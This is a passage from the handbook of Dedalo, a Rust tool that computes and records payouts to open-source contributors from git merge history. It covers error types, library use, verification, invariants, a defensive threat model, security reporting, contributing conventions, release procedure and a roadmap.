network call it makes on its own behalf.
permissions:
contents: read
That is the whole permission surface, and it is short because Dedalo holds no key. See Funding from a multisig.
Exit codes and errors
Exit codes
Two of them.
| Code | Meaning |
|---|---|
0 | Success. |
| non-zero | Anything else. The message on stderr says which. |
There is no numbered taxonomy of failures, and adding one would be a promise
this project cannot keep: an exit code is a public API, and the set of ways a
payout can fail is not stable enough to freeze into small integers. Scripts
should branch on the exit code and, when they need detail, read the --json
output of a successful run.
if out=$(dedalo plan --amount 1000 --json); then
jq -r .id <<<"$out"
else
echo "planning failed" >&2
exit 1
fi
The error type
The library returns dedalo::Error; the CLI wraps it with anyhow and adds
context aimed at somebody at a terminal. Every variant below is what a caller
can match on.
| Variant | Means | Usual fix |
|---|---|---|
Io { path, source } | A file could not be read or written. | Permissions, or a .dedalo/ that was not committed. |
Git { args, stderr } | The git binary ran and exited non-zero. | Run the printed command by hand; the arguments are included for exactly that. |
GitMissing | No git executable in PATH. | Install git. Dedalo cannot work without one. |
GitParse { context, detail } | Git succeeded but produced output this version cannot parse. | Report it — this is a bug, not a configuration problem. |
Config(msg) | The config is valid TOML but semantically wrong. | Read the message; it names the key. |
ConfigParse { path, source } | dedalo.toml is not valid TOML, or has the wrong shape. | The TOML error carries a span. Unknown keys are rejected, so check for a typo. |
ConfigNotFound(path) | No dedalo.toml up the directory tree. | dedalo init, or -C at the right directory. |
Serde | A ledger entry, plan or receipt could not be (de)serialised. | Usually a hand-edited object. See below. |
Amount { value, decimals } | An amount is not a valid decimal at the asset’s precision. | --amount 1.5 on a 0-decimal asset, or a stray thousands separator. |
Address { value, reason } | A payout destination is not a usable address. | Almost always a bad EIP-55 checksum — the reason says so. |
Overflow(what) | Arithmetic on money or weights would have wrapped. | The round is too large for the asset’s base units. This is a refusal, not a rounding. |
UnknownIdentity(email) | A commit author has no wallet mapped. | dedalo identity link. |
Settlement { backend, reason } | A backend refused to execute the plan. | The reason names exactly one rule. See below. |
LedgerCorrupt { id, reason } | The chain does not hash to what it claims. | Not a parse failure. See below. |
NotImplemented { feature, hint } | The capability exists in the API but is not live. | The hint says what to do instead. |
NotImplemented is not a bug
$ dedalo settle --plan ded106bd7281 --execute
error: evm broadcasting is not implemented yet in this release:
use `dedalo propose` and execute the transactions from your multisig
The evm backend validates the configuration and builds the exact distributor
call the plan translates into, then stops. It does not return a fake receipt,
because a settlement path that lies is worse than one that is missing. See
Settlement.
LedgerCorrupt means the record changed
$ dedalo verify
error: ledger is corrupt at dedc41…: entry does not hash to its recorded id
This is the mechanism working, not failing. Each entry hashes over its parent, so an entry edited after the fact breaks every id after it. Three causes, in order of likelihood:
.dedalo/was partly committed. An object is missing from the clone. Checkgit statusand whether anything under.dedalo/is ignored.- An object was hand-edited. Restore it from git history; do not “fix” the ids to match.
- Two branches recorded rounds independently and were merged. The chain forked. Decide which history is real before settling anything else.
Careful — the fix for a broken chain is never to edit ids until
verifypasses. That produces a ledger that verifies and is wrong, which is strictly worse than one that does not verify.
Settlement refusals
Every one of these names exactly one rule, and a test asserts that no two refusals share a sentence:
| Message | What it means |
|---|---|
| plan id does not match its contents | The plan was edited, or built by a different version. |
| this plan id was already settled | The ledger has it. A retry, working as intended. |
| a transfer would go to the zero address | A [wallets] placeholder was never filled in. |
| the round reaches nobody | The whole contributor pool is undistributed. --allow-undistributed if that is genuinely what you meant. |
The on-chain vault’s refusals are listed under The refusals are the specification.
Reporting one
A GitParse error, a panic, or an arithmetic result you believe is wrong is a
bug. Open an issue with the command, the output, and dedalo --version.
Anything where the amount is or could be wrong goes through SECURITY.md as a private advisory, never a public issue. That includes credit assigned to the wrong person: it is a payment defect, and it is treated like one.
Using the library
The binary is a thin shell over the library in the same crate. Everything the CLI does is available to a bot, a GitHub App, a dashboard, or your own settlement backend.
Signatures and types live on docs.rs/dedalo, which publishes the reference for each released version. This chapter is the shape of the thing, not the shape of every function.
Depending on it
[dependencies]
dedalo = { version = "0.1", default-features = false }
default-features = false drops the cli feature, and with it clap,
tokio, toml_edit, tracing-subscriber and libc. What is left is the
pipeline.
| Feature | Default | Brings |
|---|---|---|
cli | on | The command-line interface and the runtime it needs. |
testing | off | dedalo::testing, for building throwaway repositories with real merges. |
Everything under dedalo::cli is private except Cli, Command and the entry
points. Terminal output is not API.
The short path
Engine ties a repository, its config and its ledger together, and is the
shortest route through all four stages:
use dedalo::{Engine, money::Amount};
let engine = Engine::discover(".")?;
let merges = engine.scan(None)?; // unpaid merges
let attribution = engine.attribute(&merges); // contribution weights
let plan = engine.plan(&merges, &attribution, Amount::from_base_units(1_000_000))?;
for item in plan.contributors() {
println!("{:>12} → {}", plan.asset.format_amount(item.amount), item.handle);
}
Engine::discover walks up from a path looking for dedalo.toml, the way git
finds .git. Engine::new assembles one from parts, for tests or for an
alternative git backend.
The modules
| Module | Responsibility |
|---|---|
git | GitBackend trait and CliGit, which drives the git binary. |
attribution | Merge history → integer contribution weights. |
attribution::identity | Git emails → payable wallets. |
money | Amount, Asset, and exact splitting. |
money::treasury | The fee schedule and the protocol/treasury/contributor split. |
payout | PayoutPlan, its content hash, and its invariants. |
chain::wallet | Validated, checksummed addresses. |
chain::merkle | The claim tree a round is deposited against. |
chain::vault | The rules a deployed contract enforces, as pure functions. |
chain::settlement | The Settlement trait, and the dry-run and EVM backends. |
storage::ledger | The hash-chained event log and the payout cursor. |
storage::objects | The content-addressed object store. |
config | dedalo.toml, parsed and validated. |
error | Error and Result. |
Each is usable on its own. money has no idea git exists; attribution has no
idea money does.
Substituting a backend
Two traits are meant to be implemented from outside.
GitBackend
Four methods: the repository root, the current branch, resolving a revision, and listing merges matching a query.
use dedalo::git::{GitBackend, HistoryQuery, MergeEvent};
struct MyBackend { /* … */ }
impl GitBackend for MyBackend {
fn root(&self) -> &std::path::Path { /* … */ }
fn current_branch(&self) -> dedalo::Result<String> { /* … */ }
fn resolve(&self, rev: &str) -> dedalo::Result<String> { /* … */ }
fn merges(&self, query: &HistoryQuery) -> dedalo::Result<Vec<MergeEvent>> { /* … */ }
}
Implement it to read from libgit2, from a forge’s API, or from a version
control system that is not git. Everything downstream sees MergeEvent values
and never knows the difference — which is the groundwork for
running on more than git.
Settlement
Implement it to add a chain, or to route a plan through your own custody process. The contract is narrow on purpose: a settlement re-verifies the plan before acting, and returns a receipt or an error.
Careful — if you implement this, do not return a receipt for something that did not happen. The shipped
evmbackend returnsNotImplementedrather than a plausible-looking success, and that is the standard to hold.
Testing against real repositories
The testing feature builds throwaway repositories with real merge commits,
which is why nothing in this project mocks git:
[dev-dependencies]
dedalo = { version = "0.1", features = ["testing"] }
use dedalo::testing::TempRepo;
let repo = TempRepo::new("example");
repo.merge_feature("feature-a", ("Ada", "ada@example.com"), 40);
repo.merge_feature("feature-b", ("Bea", "bea@example.com"), 40);
A mock would only test the mock. git log --merges has enough surface — first
parents, trailers, empty merges, octopus merges — that a fake of it tests a
version of git nobody runs.
Determinism is your problem too
If you build on the library, the guarantee that makes plans checkable is only as strong as the code around it. Two rules:
- Do not introduce I/O into stages 1 to 3. A price feed, a contributor list fetched from an API, anything with a clock — each turns a reproducible computation into a snapshot nobody else can reproduce.
- Do not reformat amounts through floats.
Amountis au128of base units, andAsset::format_amountis for display. A round trip throughf64loses base units above 2^53.
What is proved, and what is only tested
Tests sample. Some of this codebase is proved, and the difference is worth
being exact about — so it is written down per module in
verification.toml rather than implied by a badge.
The methods
| Method | What passing means |
|---|---|
| exhaustive | Every value in a complete finite domain was tried. No counterexample exists in that domain. |
| property | Thousands of generated samples. Not a proof — a rare counterexample can survive, and one did. |
| tests | Hand-picked cases. |
| proofs | The module is not verified; it is verification. A proofs.rs compiles only under cfg(test) and ships in no release. |
| exempt | The module decides neither how much money moves nor where it goes. Must have zero arithmetic sites, and must not build an address. |
| binding | A document the code is checked against. |
Being honest about which is which is the point. A module marked property is
not proved, and the manifest is where that is admitted rather than implied.
What is exhaustively proved today
- Every fee schedule — all 50,005,000
(protocol_bps, treasury_bps)pairs that validate, against the amounts where integer arithmetic breaks: the three slices sum to exactly the gross, and no fee is ever rounded up. - Every basis-point value — all 65,536: floor-exact, never exceeding the input.
- Every small weight vector — all 2,800 of length ≤ 4 with weights ≤ 6: shares conserve the total, a zero weight is never paid, a larger weight never receives less.
- Every tree shape to 64 claims — each claim proves against its own root, and against no other claim’s proof.
The gross amount is not enumerable, so it is pinned to the values where integer arithmetic breaks rather than sampled randomly. Longer weight vectors and larger weights are sampled by property tests, and the manifest says so.
Run them:
cargo test --release -- --ignored
They are #[ignore] because fifty million fee schedules is not a thing to put
in the inner loop of cargo test. ws-check runs them.
The manifest is a gate, not a table
tests/verification_manifest.rs is what keeps the table above from becoming
decoration. It fails the build when:
- a module under
src/is not accounted for inverification.toml; - a declared proof’s test has been deleted;
- the money arithmetic in a module changes count — every module records
arithmetic_sites, and if the number moves, somebody has to look; - a module claiming exemption starts doing arithmetic or starts building an address.
So a new module cannot be merged without someone deciding what verifies it, and an exemption cannot quietly stop being true. Adding a multiplication to the money path is a build failure until it is acknowledged.
The layers of the test suite
| Layer | What it holds down |
|---|---|
| unit | The arithmetic, parsing and config, next to the code. |
property (proptest) | The money invariants, over thousands of generated rounds. |
| adversarial | What the system must refuse. Every test is a way money could be lost. |
| end-to-end | The library against real repositories with real merge commits. |
| CLI | Exit codes and the --json shape action.yml parses. |
tests/adversarial.rs is the one to read first. It asks whether Dedalo
can be made to compute a wrong answer: whether two different plans can share
an id, whether one account spelled two ways can be paid twice, whether a plan
id can steer a filesystem path, whether a mistyped address survives its
checksum.
Each test marked FOUND: is a regression test for a defect that was real
here — not a hypothetical. Including one where the defect turned out to be
the claim in the README rather than the code.
Two things deliberately not claimed
property is not a proof. It is labelled as such everywhere it appears. A
rare counterexample can survive thousands of samples, and one did: the EIP-55
collisions now pinned in tests/adversarial.rs were found by reasoning about
the encoding, not by generating inputs.
There is no smt row any more, and that is a loss worth naming. The
previous vault was Solidity, and solc --model-checker-engine bmc discharged
all ten of its arithmetic conditions with a solver — a stronger statement than
any test. Rust has no equivalent that terminates on this codebase; Kani was
measured and rejected. Those conditions are now covered by tests rather than
proved.
What was gained is that the rules are in the same language as everything else, tested with the same machinery, and readable without a second toolchain. That is a real trade, and it went in the direction of legibility at the cost of strength. Anyone deciding whether to trust the vault should weigh it knowing which way it went.
The vault
The rules a deployed contract enforces are ordinary Rust in
src/chain/vault, with a test per way it must refuse. Refusal is
the specification, and a test asserts that no two refusals share a sentence —
so a revert reason identifies exactly one rule rather than a family of them.
It is unaudited and undeployed. Tested by its author, reasoned about by its author, and never having held a coin. See Before real funds move.
Reading the manifest yourself
grep -A3 '^\[modules' verification.toml
Each entry names the method, the number of arithmetic sites, the harnesses that back a claim, and a note saying what the claim covers and what it does not. If a module’s note says something is sampled rather than proved, that is the honest state of it.
The invariants
Ten statements. Each one is a reason the project can be trusted with money, each one has tests, and each one is a thing that would be a defect rather than a preference if it stopped being true.
They are listed here in the order they matter to somebody deciding whether to run a round.
1. Money is integers
money::Amount is a count of base units. No f64 ever touches a balance.
Percentages are basis points (u16), never floats.
Why: 0.1 + 0.2 != 0.3 in binary floating point. A payout system whose
shares do not add up to the round either creates money or loses it, and neither
is recoverable by looking at the output.
→ Money
2. Splits conserve the total
Amount::split_by_weights uses the largest-remainder method and must sum back
to exactly the input. A plan’s items always sum to its gross amount.
Why: rounding each share independently loses or creates base units depending on which way the fractions fell. Small per round; unbounded over time.
Proved exhaustively for every weight vector of length ≤ 4 with weights ≤ 6.
3. Fees round down; dust goes to contributors
Never the other way round.
Why: the alternative rounds fractions of a base unit into the protocol’s pocket, on every round, forever. This is the one place an arbitrary choice had to be made, and the direction is the whole of it.
Proved exhaustively over all 50,005,000 fee schedules that validate.
4. Plans are content-addressed
PayoutPlan::id hashes everything that determines the outcome, and
deliberately excludes created_at. Two runs over the same history and
config produce the same id.
Why: it is what makes a round checkable by somebody who does not trust the person who published it. Recompute, compare one string.
→ The id
5. One wallet, one transfer
A contributor with several emails is merged into a single item before a plan is finalised. Addresses compare case-insensitively.
Why: EIP-55 means one account has two valid spellings. A case-sensitive comparison would make them two payees — which is both a double payment and a payout table that lies about how many people there are.
6. Nobody is silently dropped
A contributor with no wallet appears in plan.unresolved with a reason, and
their share is accounted for in undistributed.
Why: the failure mode this replaces is a round that quietly pays out less
than it says, to fewer people than earned it, with nothing in the output
saying so. That defect was real here — see the FOUND: tests.
7. Rounds are idempotent
The ledger refuses to settle the same plan id twice and holds an exclusive lock
while settling. DedaloClaim.deposit refuses the same plan id on chain.
Why: a retried CI job must not pay twice. Two independent mechanisms, because the failure mode is paying people twice out of a treasury.
8. Attribution is integer-scored
Scores are milli-points (u128), so the same history yields the same weights on
every machine.
Why: two contributors getting different shares from the same history on different laptops, with neither able to prove the other wrong.
9. The ledger is a hash chain
Every entry in .dedalo/objects names its parent and hashes over it, so an
entry edited after the fact breaks every id since. dedalo verify checks it,
and needs no network and no key.
Why: an append-only file is append-only by convention. This is append-only by arithmetic. Never write a path that appends without linking to the current head.
10. Dedalo holds no signing key
dedalo propose prints transactions; people execute them from a multisig.
settlement.signer_env was removed on purpose — do not reintroduce a config
key that names one.
Why: a key in CI is reachable by everything that can write a workflow. A compromised workflow should cost embarrassment, not the treasury.
If you are changing code near one of these
Add tests. That is not a formality:
- Anything touching
money,attribution,money::treasuryorpayoutneeds a test proving the amounts still balance — including the awkward cases: zero weights, a single payee, amounts that do not divide. - A new rule about what people are paid belongs in
src/money/proofs.rs,src/payout/proofs.rsortests/adversarial.rs, not only in a hand-picked example. - A new module needs an entry in
verification.toml, and the gate will not let it merge without one.
Careful — do not weaken a test to make it pass. If an amount no longer balances, the arithmetic is wrong, not the assertion. This is the single most important line in the contributing guide.
Threat model
Who could make Dedalo pay the wrong person, or the wrong amount, and what stops them.
This is written from the attacker’s side on purpose. A list of features is easy to feel good about; a list of attacks is what tells you whether the features are the right ones.
What is being protected
- The amounts. That the round pays what the history and the config say.
- The destinations. That money reaches the people who earned it.
- The record. That what was paid can be checked afterwards by somebody who was not there.
Notably not protected, because it cannot be: that the funding source has money in it, that the multisig signers are honest, or that the project’s maintainers score contributions fairly. Those are governance, and Dedalo makes them visible rather than solving them.
A contributor games attribution
Attack. Inflate your own score: vendor a dependency, reformat the tree, add generated files, split one change across twenty merges.
What stops it, partly. max_points_per_merge caps any single merge.
base_points means twenty small merges are worth more than one large one — so
splitting is rewarded, and that is a real limitation rather than a defence.
What does not stop it. Nothing prevents a contributor from writing verbose code, and no line-counting formula can. The mitigation is social and it is the same one the project already has: the merge had to be reviewed. Dedalo pays for merged code, and a project that merges padding has a review problem, not an attribution problem.
Set max_points_per_merge before the round rather than after it.
A maintainer edits the record
Attack. Change an old ledger entry to say a round paid somebody it did not, or to hide one that happened.
What stops it. The ledger is a hash chain. Editing an entry changes its id;
every later entry named the old id, so their ids change too, and HEAD stops
matching. dedalo verify catches it on any clone, with no network and no key.
Residual. A maintainer can rewrite the whole chain and force-push, which
is visible as a force-push and as a HEAD that does not match anything anybody
previously saw. Publishing the ledger HEAD in release notes makes that
detectable rather than merely possible to detect.
Someone substitutes a wallet address
Attack. A contributor’s address is changed — in a pull request to
dedalo.toml, or in transit before the maintainer pastes it.
What stops it, partly. EIP-55 validation catches typos, and
identity link reports how many bits that check is worth rather than
implying it is absolute.
What does not stop it. A checksummed address is a valid address, not a correct one. An attacker substituting a valid address of their own passes every check Dedalo makes.
Mitigation, which is procedural: the change to dedalo.toml is a reviewed
commit with an author, and the address should be confirmed with the contributor
through a second channel. This is the largest residual risk in normal operation
and it is not a cryptographic problem.
A CI job is compromised
Attack. A malicious pull request, a compromised action, or a dependency’s build script gets code execution in the workflow that funds rounds.
What stops it. There is nothing to steal. Dedalo holds no signing key — not in CI, not in config, not in an environment variable. The config key that named one was removed and must not come back. The worst outcome is a wrong plan being proposed, and a proposal has to be read and signed by people.
This is the single largest design decision in the project, and it is why the
workflow hardening (pinned action SHAs, zizmor, no ${{ }} in run:) matters
as much as the arithmetic.
Someone tampers with a plan between review and settlement
Attack. The plan is approved in a pull request; a different plan is settled.
What stops it. Plans are content-addressed. Settlement re-derives the id
from the plan’s contents and refuses one that does not match, and the operator
refers to the round by id (--plan ded1…) rather than recomputing it.
Residual, and it is an operator error rather than an attack: running
settle --amount 1000 instead of settle --plan ded1… recomputes from current
history. If a merge landed since the review, that is a different round and
nothing objects. Save the plan and settle by id.
A round is paid twice
Attack. Re-run the settlement job, or run two concurrently.
What stops it. Three mechanisms:
- The ledger refuses a plan id already recorded as settled.
- An exclusive lock is held for the duration, so two jobs cannot both pass the check.
DedaloClaim.depositrefuses a plan id it has already seen, on chain.
Two of those are independent of each other, which is the point.
A malicious token
Attack. The configured asset is a token that takes a fee on transfer, or reverts selectively, or re-enters on transfer.
What stops it. The vault refuses a deposit that delivers less than the
round promises (ShortDelivery) — a round that promises more than it holds
pays early claimants and strands the rest. It advances claimed before
transferring, so a token with a transfer hook cannot re-enter and take the same
index twice.
Residual. The vault is unaudited. These paths have been reasoned about and tested by their author and by nobody else.
A plan id steers a filesystem path
Attack. Craft a plan whose id contains ../ and write outside
.dedalo/objects.
What stops it. Ids are hex from a hash and are validated as such before
they are used as paths. This is one of the things tests/adversarial.rs tries
explicitly.
Two plans share an id
Attack. Construct two different rounds that hash to the same id, so one can be substituted for the other after review.
What stops it. SHA-256, and — more usefully against the practical attack —
length-prefixed field encoding, so ("ab","c") and ("a","bc") cannot
serialise to the same bytes. tests/adversarial.rs tries to build the
collision.
Where the real risk is
Ranked, honestly:
- The contract is unaudited and undeployed. Everything about on-chain settlement is unproven in practice, which is why it is not live.
- Address substitution. Procedural, not cryptographic, and the one that would actually happen.
- Attribution is a policy, not a truth. It measures merged lines. A project that believes that equals contribution will underpay its reviewers and its maintainers.
- Operator error. Settling
--amountinstead of--plan, skipping a range with--since, not committing.dedalo/.
Nothing in the first four is fixed by more tests on the arithmetic. The arithmetic is the part that is proved.
Reporting
Anything where an amount is or could be wrong goes through SECURITY.md as a private advisory, never a public issue — including credit assigned to the wrong person. See Reporting a vulnerability.
Reporting a vulnerability
Never in a public issue, and never in a discussion. Not a suspected one, not a “probably nothing”.
What counts as a security issue here
Dedalo computes and executes payments, so the list is wider than “remote code execution”. Treat any of the following as a security issue rather than an ordinary bug:
- a payout plan that pays the wrong amount, the wrong address, or twice;
- a way to make a plan’s id stay the same while its transfers change;
- a way to make attribution credit someone who did not write the code;
- anything that exposes, logs, or persists a signing key;
- a way to settle a plan the ledger should have refused.
Credit assigned to the wrong person is on that list deliberately. It is a payment defect, and it is treated like one.
What to include
- What it can cause, concretely, in amounts. “The protocol fee is overcharged by one base unit per round” is more useful than “rounding looks suspicious”.
- Steps to reproduce, ideally as a failing test. The test suite has a place
for it already:
tests/adversarial.rsis where defects that were real become regressions. - The version or commit you tested.
What happens next
| Acknowledgement | within 72 hours |
| Assessment | within seven days |
| Credit | in the advisory, unless you prefer otherwise |
Scope
Supported: the latest release and the main branch.
Out of scope: the security of chains, wallets, RPC providers or Open
Collective themselves; misconfigured dedalo.toml files in third-party
repositories; and key management on a user’s own machine.
Current status
On-chain broadcasting is not live. The evm backend validates and builds
the distributor call, then stops before signing. Until the distributor contract
is deployed and audited, no version of Dedalo can move funds on its own.
That narrows the practical attack surface considerably today — and it is exactly why a finding in the arithmetic, the plan id, or the ledger is worth reporting now, while it costs nothing to fix.
Never post these anywhere
Private keys, seed phrases, or anything from a wallet. Nobody working on this project will ever ask for one, and a revoked key is still a key someone can learn from. Addresses are public and fine to paste; the thing that signs for them is not.
Development
Contributing here is, fittingly, the thing the project is built to reward.
The canonical guide is CONTRIBUTING.md in the repository. This chapter is the working loop and the parts that surprise people.
Getting a toolchain
Install rustup. It reads rust-toolchain.toml when you
enter the repository, so you get the same compiler CI uses without choosing
one.
The MSRV is 1.90.0, and it is enforced rather than documented: CI builds
with exactly the compiler rust-version names. It was raised to 1.90 when the
ABI encoder became alloy-sol-types — the fix for RUSTSEC-2026-0220 in ruint
needs 1.90, and the alternative was shipping a known-vulnerable big-integer
library in a payments tool.
The loop
cargo test --workspace --all-features
cargo clippy --workspace --all-targets --all-features -- -D warnings
cargo fmt --all
Those three catch almost everything CI checks. The rest:
cargo doc --no-deps --open # rustdoc, with -D warnings in CI
cargo test --release -- --ignored # the exhaustive proofs
cargo deny check # licence, advisory and source policy
cargo publish --dry-run # what crates.io would receive
scripts/check-contract.py # the deployable still fits its chain
What CI checks that your laptop does not
Build and tests on Linux, macOS and Windows; the declared MSRV built with
exactly that compiler; rustdoc with -D warnings; coverage; the musl packaging
path; and public-API compatibility with the last release.
Pull requests
Titles follow Conventional Commits and are checked automatically. Pull requests are squash merged, so the title becomes the changelog entry — write it for a reader of the release notes:
feat(cli): add `dedalo identity export`
fix(money): keep dust with contributors when a weight is zero
docs: explain how the protocol fee funds the network
One concern per pull request. A refactor and a behaviour change in the same diff are two pull requests.
Anything that changes what people are paid is breaking — amounts, plan ids,
the fee split — even when it compiles. Say so with BREAKING CHANGE: in the
body. See Releasing.
Three gates that catch people out
Public items must be documented
The crate sets #![warn(missing_docs)] and CI builds rustdoc with
-D warnings, so an undocumented pub item fails the build.
Write what the item is for, not what its name already says. /// The wallet.
on a field called wallet passes the linter and helps nobody.
A new module needs a verification entry
verification.toml accounts for every module under src/, and
tests/verification_manifest.rs fails the build if one is missing. Say how it
is verified, or why it needs none — an exemption with a reason is a fine
answer, and the gate keeps the reason true by refusing to let an exempt module
do arithmetic or build an address.
Adding arithmetic anywhere changes a recorded count and fails the build until
somebody looks. That is the gate doing its job, not an obstacle to route
around: update arithmetic_sites in the same commit that adds the arithmetic,
and let the reviewer see both.
Money changes carry tests
Anything touching money, attribution, money::treasury or payout needs a
test proving the amounts still balance — including the awkward cases: zero
weights, a single payee, amounts that do not divide.
A new rule about what people are paid belongs in src/money/proofs.rs,
src/payout/proofs.rs or tests/adversarial.rs, not only in a hand-picked
example.
Careful — do not weaken a test to make it pass. If an amount no longer balances, the arithmetic is wrong, not the assertion.
Conventions
- Comments explain why. The code says what it does. A comment earns its place by explaining a decision, a constraint, or a non-obvious consequence. Do not narrate the next line.
- Errors are typed. The library returns
error::Error; the CLI wraps withanyhowand adds user-facing context. Do notunwrap()outside tests. - Tests live next to the code. Unit tests in
mod tests, cross-cutting behaviour intests/. Test names are sentences:split_conserves_every_base_unit, nottest_split_2. - Use
dedalo::testing, which builds throwaway repositories with real merges, rather than mocking git. A mock would only test the mock. - 100 columns.
rustfmt.tomlis the authority, stable options only.
The layout
Only lib.rs and main.rs sit at the top of src/. Everything else is a
directory, because a loose file there is a concern nobody has decided the shape
of yet.
| Path | What it is |
|---|---|
src/lib.rs | The crate root: module list and Engine. |
src/main.rs | A three-line shim over dedalo::cli::main. |
src/money/ | Amounts, assets, the fee schedule — and proofs.rs. |
src/attribution/ | Scoring merges, and the identities they belong to. |
src/payout/ | The content-addressed plan — and proofs.rs. |
src/chain/ | Wallet, merkle, vault, settlement, and the deployable. |
src/storage/ | The object store and the hash-chained ledger. |
src/git/ | Reading merge history. |
src/cli/ | The command surface, behind the default cli feature. |
tests/ | The four that must run from outside. |
A proofs.rs inside a module is its property and exhaustive suite. It compiles
only under cfg(test) and ships in no release.
Things to be careful about
- Never fabricate on-chain behaviour. The
evmbackend returnsNotImplementedinstead of pretending to broadcast. Do not “fix” that with a fake receipt. - The leaf encoding is pinned.
chain::merkle::the_leaf_encoding_has_not_movedholds a root and a proof against a fixed fixture — it is what a deployed vault verifies against. Changing it deliberately is fine; the commit has to say why. - The vault is thin on purpose.
chain::vaultholds every rule and is pure.src/chain/contractis a Stylus binding and must stay that way — a rule that appears there instead of invaultis a rule that cannot be tested. - The deployable has a hard size limit. Stylus rejects anything over 24 KiB
compressed;
scripts/check-contract.pymeasures it. docs/settlement-architecture.mdis binding. If the code disagrees with it, one of the two is wrong, and the answer is not to quietly change the code.- Never read or write signing keys. Not logged, not echoed, not copied into config, not committed.
dedalo.tomland.dedalo/are public records. They belong in git. Do not add them to.gitignore.- Never move a published tag. If a release is broken, fix forward.
Workflow safety
- Never interpolate
${{ }}into arun:block. Pass it throughenv:. The Action executes in other people’s repositories with their secrets in scope;zizmorfails the build on this and it is right to. - Every third-party action is pinned to a commit, with the tag as a trailing comment. A moving tag can be repointed at new code by whoever owns it, and these workflows hold release secrets.
- Never add a checkout to
triage.yml. It runs onpull_request_target, which means a write token; checking out the pull request’s code there would hand that token to a fork. - Builds that publish artifacts do not restore caches. A cache a pull request could have written must not reach a released binary.
Releasing
One version, one tag, one set of artifacts. The library and the binary are one
crate, so v0.4.0 means exactly one thing: dedalo is at 0.4.0 on
crates.io, and the tagged commit built it.
The full policy is RELEASING.md in the repository. This chapter is the part that affects anyone writing a pull request.
What counts as breaking
Deliberately wider than usual, because people are paid based on this code:
| Change | Bump |
|---|---|
| A given history + config produces different payout amounts | major |
A plan’s id changes for unchanged inputs | major |
| Any public Rust API is removed or changes shape | major (minor pre-1.0) |
A CLI flag or a --json field is removed or renamed | major (minor pre-1.0) |
| New attribution options, backends, commands, output fields | minor |
| Bug fixes that make amounts correct, docs, internals | patch |
A change to Amount::split_by_weights, PayoutPlan::compute_id, or the fee
split is breaking even if it compiles, because it changes what people
receive. Say so with BREAKING CHANGE: in the pull request body.
Money — a plan id that changes for unchanged inputs invalidates every published round’s reproducibility check. The id encoding carries a version byte precisely so an old id and a new one are distinguishable rather than merely different.
The changelog is your pull request title
CHANGELOG.md is generated from Conventional Commit subjects with git-cliff,
and pull requests are squash merged. The title becomes the release note.
feat(cli): add `dedalo identity export`
fix(money): keep dust with contributors when a weight is zero
Write it for somebody reading the release notes, not for somebody reading the diff.
Cutting one
Nothing requires a maintainer to run commands locally: two workflow runs and one pull request review.
-
Open the release pull request — run the Version workflow from the Actions tab and pick
patch,minor,majoror an explicit version. It bumps the crate version, refreshesCargo.lock, prepends the generated changelog section, and opens a pull request labelledrelease. -
Review it — read the changelog diff as a user would. Does it describe what changed, and is the bump right for it? Edit the changelog in the branch if a generated line is unclear: the file, not the workflow, is the published record.
-
Merge it — merging a
release-labelled pull request triggers Tag, which createsv<version>through the GitHub API (no credential is ever written into a checkout) and then calls Release directly. It has to call it: GitHub suppresses events caused byGITHUB_TOKEN, so a tag created by a workflow raises nopush. -
Watch the release build — it re-runs fmt, clippy and the full suite on the tagged commit, verifies the tag matches the workspace version, builds five targets with SHA-256 checksums, attaches signed provenance, publishes the GitHub release with the changelog section as its notes, and publishes to crates.io.
Careful — never edit the version by hand.
scripts/bump-version.shis the only thing allowed to change it, and the Version workflow drives it.
If step 4 fails after the tag exists, fix forward: delete the tag, merge the fix, re-run Tag. Never move a tag a release already published — somebody may already have downloaded it.
The one tag that moves
v0 — and v1 after it — follows the latest release, because
uses: dedalo-org/dedalo@v0 is how a GitHub Action is consumed. It is a pointer
to an immutable release tag, so nothing that was published ever changes
underneath anybody. Pin @v0.1.0 to freeze a workflow.
Verifying a release
Anyone can check a published binary against what the tag claims:
curl -fsSL https://github.com/dedalo-org/dedalo/releases/download/v0.1.0/dedalo-v0.1.0-x86_64-unknown-linux-gnu.tar.gz.sha256
sha256sum dedalo-v0.1.0-x86_64-unknown-linux-gnu.tar.gz
# Or the signed provenance, which also proves which workflow built it
gh attestation verify dedalo-v0.1.0-x86_64-unknown-linux-gnu.tar.gz --repo dedalo-org/dedalo
Or rebuild it:
cargo install dedalo --locked --version 0.1.0
Where documentation goes at release time
| Documentation | Published by | Versioned? |
|---|---|---|
| API reference | docs.rs, from the crates.io upload | yes, per release |
| This handbook | GitHub Pages, from main | no — always current |
| Changelog | The GitHub release and CHANGELOG.md | per release |
The API reference is not built from main any more. docs.rs builds it from the
published crate, which means the reference somebody reads matches the version
they installed rather than whatever main looked like that morning.
Roadmap
What is done, what is next, and what is deliberately not being decided yet.
The authoritative list is the milestones and the issue tracker. This page is the shape of it.
Done
- Git-derived attribution, with co-author support
- Deterministic, content-addressed payout plans
- Fee schedule with protocol / treasury / contributor split
- Append-only hash-chained ledger, with idempotent rounds
- EIP-55 address validation that reports its own strength
- The vault’s rules, as pure Rust with a test per refusal
- The Stylus deployable, inside the 24 KiB limit
- GitHub Action wrapper
- Exhaustive proofs for the fee schedule, basis points, small weight vectors, and every tree shape to 64 claims
- The verification manifest gate
v0.1.0 — first release
Publishing the crate, and being honest in the process about what it does and does not do.
The pipeline works and is tested end to end. What v0.1.0 adds is not capability but availability: a crate on crates.io, an API reference on docs.rs, this handbook, and documentation good enough that somebody can decide whether to trust it without reading the source.
v0.2.0 — on-chain settlement
The list from the architecture document, and none of it is optional:
- A claim contract with the Merkle root, a per-round replay guard keyed on the plan id, and an expiry path for unclaimed funds.
- An independent audit of it, published.
- A Safe, with signers who are not one person.
- A testnet round settled end to end, from
dedalo planto a claim.
Until the first four exist, the honest state of this project is what the code
already says: Error::NotImplemented.
Not decided: which chain to launch on. The template names Base and real mainnet USDC — a default that was never chosen deliberately and should be. Testnet first is the safer starting point. Tracked in issue #15.
Beyond
Attribution that measures more than lines
The largest known gap. Review is contribution, and a merge scores nothing for the person who caught the bug in it. Review-weighted attribution is the first step; issue triage and documentation written outside the repository are harder and not yet designed.
Version control beyond git
Everything downstream of the git module is already abstract over the version
control system: GitBackend is a trait, and the rest of the pipeline sees
MergeEvent values rather than git invocations. Making that real — running on
Jujutsu, Mercurial, Sapling, or a forge’s API without a working tree — is
issue #23.
The framing matters: git-compatible, not git-dependent. Git stays the reference implementation and the source of truth for git projects. What changes is that “a merge” stops being a git-only idea in the type system.
Squash-merge repositories
A repository that squash-merges without merge commits produces no merge events, and the failure mode is an empty round rather than an error. Issue #13.
What is deliberately not on this list
